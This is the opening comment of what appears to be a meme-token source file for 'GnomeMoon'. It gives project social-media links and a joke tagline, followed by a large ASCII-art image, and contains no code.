/* Telegram: https://t.me/gnomemoon Twitter: https://twitter.com/GnomeMoon_io Website : https://gnomemoon.io Only Snow White can kill the Garden Gnome. Not even Elon Musk. MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMNOdllldONWMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMWXx;. .,xNMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMN0o,. ...... .lXMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMWKd;. ..',;;'. .xWMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMXkc. ...',;;;;,. .oWMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMN0o,. ...',;;;;;;,'. .dWMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMWKd;. ...,;;;;;;;;,'.. 'OMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMNkc'. ...',;;;;;;;,,,''.. ;KMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMW0o,. ...',;;;;;;,,,'''''... lNMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMWXx:. ...,;;,,,,,,''''''''''.. .oWMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMNOl'. ...',,,,''''''''''''''''.. .xWMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMW0d;. ...''''''''''''''''''',,''.. .xMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMWWXk:. ....''''''''''''''''',,,,,'.... .xMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMNOl:'. ....''''''',,,,,,,,,,,,;,,,'...... .xMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMWKd;. ...'',,,,,,;;;;;;;;;,,,''........... .xMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMXkc. ....',,;;;;;;;;;;;;;;;;,,''........',,'. .xWMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMN0o,. ..',,;;;;;;;;;;;;;;;;;;;;;;;;;,,,,,,;;;;'. .dWMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMXx:. ...',,,;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;'.. .oWMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMWKo'. ..........''''',,,,;;;;;;;;;;;;;;;;;;;;;;;;;;'.. .lWMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMW0l. .......................'',,,;;;;;;;;;;;;;;;;;;;,'.. cNMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMWKo. .............................'',,;;;;;;;;;;;;;;,,''.. :XMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMNx, .......'',,,,,,,,,,,,,;;,,,,,,,,,,,;;;;;;;;;;;;;,,'''.. ;KMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMXl. ....'''',,,,,,,,,,,,,,,,,,,,,,,;;;;;;;;;;;;;;;;,,,'''''.. ,0MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMK:. ...''''''''''''''''''''''''''''''',,,,,,,,,,,,,,''''''''.. 'OMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMK: ..'''''''''''''''''''''''''''''''''''''''''''''''''''''''.. .OMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMNl. ..''''''''''''''''''''''''''''''''''''''''''''''''''''''''.. .kMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMk. ...'..........................'''''''''''''''''''''''''''''.. 'OMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMNl. .........'''''',,,''''''..............'''''''''''''''''''''.. 'OMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMK; ....',,,;;;;,,,,,,,,,'',,,,,,''''............''''''''''''''.. ;KMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMWx. ...',,,,''....''''''''''........''''''''...........'''''''... 'OMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMO' ...,,,'.',;clloddddxxxddddoll:,''.....''''''''............',;:,. .lNMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMNl. ..,,'..;:okOOOOOOO00000000kdlodool:,,,...',,,,,''''...'coddkOOl. ,KMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMX: ..,..:dkxodO0KKKKK000OxdolclxKNXXK0xloxl;'.',,;;,,'.'coooodk00d' .kMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMNl ..'.':ldxkocxKK0kooooddxxxkkdllodddkockK0xl;..',,'.,:;;cl:;lk0x' .kMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMWk. ...;;xX0xxxdddOocOXKK0Okxxxdoc:oxxo:lOK0kd:'',...;;';lc,...o0d' .kMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMWx. 'c:kMMWK0kccOx:coodxkOXWWWW0;'o00kOK0Ox:.:kOkl,...;coxo''d0l. ,0MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMXo. 'lcdWMMMXc.cko:ckKNWMMMMWXKx,.cO0KKK0Oko;,:kNWXd'.'cdkd;:Ok; .lNMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMXc. .ld:d0KKx'.dOl,;lkKKK0kdlccc:::clk0K0kdodl';ON0c.'',lko:dOc. 'OMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMWd. .. .,;',::'..cOKOdc;,;::cc:ccloxkOOxxOOkx:'cl';ONX0Ok:.lxodOl. .dNMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMK; 'l;. .;:::,..'oOKKK0Oxdxocc:cloooc::clolc:;,..';xXWMWXd''coxkc. .lXMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM0, ;0Xkoccd0Ko..ck0KKKK0kc,.''cONWMMMWXOxdoooxOd,,oONWN0d;...,xx;. .,lx0NMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMK, 'kWMMWWWWk'.cO0KKKKKKK0d'.'dWMMMMMMMMMMMMWN0:,xKNWMWKOkx;.cl'..... .;dKWMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMNl. .:0NWMMMMK:.':ldxxkkxdl;.,lOWMMMMWWWWWNNX0d;,oKWMMMMMN0c..,,..:O0Oxl,. .'oXMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM0; .:xKNWWWWXkolc::::;'...:kKXNWWMWNKK0Okdc;;cx0NMMMMMWk'.,:lc.,OWWWWN0d:. .;0WMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMWO, ..;ldxkkxdx0XNNKkl',c:;:coxOKKKK0Okl;...:oOXWMMMMMMXl,d0Oc.;0MWNXKOdo:. ,0MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM0; .'ccc;...,cdddl:;;lkK0xlc::;;:cclll:,..,lkNWMMMMMMMMO,lXXOc.:KMMWN0dc'. .lNMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM0; .:kXWNOoc:,....',cdOOOOOOOOOd;. ..',:ldOKNWMMMMMMMMMM0:oNNKk:.oNWMMN0Ol. ,0MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMX: .:ONWWWMMWWKd:'...,::,,,,,;;;:;...;xKNWWMMMMMMMMMMMMMWOokxokOd',OXXNNK0k:. ,0MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMWd. .;xOO0KXWMMMWXOl;'',;:loooollc:;;,''c0WMMMMWWWWMMMMMMMWXXNd..co;.xXOO000k:. :XMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMX: .:c;lOXWMMMMMWNXXK00OO0KNNWWNNNXXKK00XWMMWXKXWMMMMMMWXXNWWO;.....xNkclOOo. ;0WMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM0, ...;kXWMMMMMMMMMMWNXXXNWWWWWMMMMMMMMMMMWNK0KNMMMMMMMW0ocx0O:.,,.;0Xx,.::.... 'kWMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM0, .l0NMMMMMMMMMMMMMMMMWXXNWWMMMMMMMMMMWX000XWMMMMMMMWKo..;d:.lx:dK0l. ........ .xWMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM 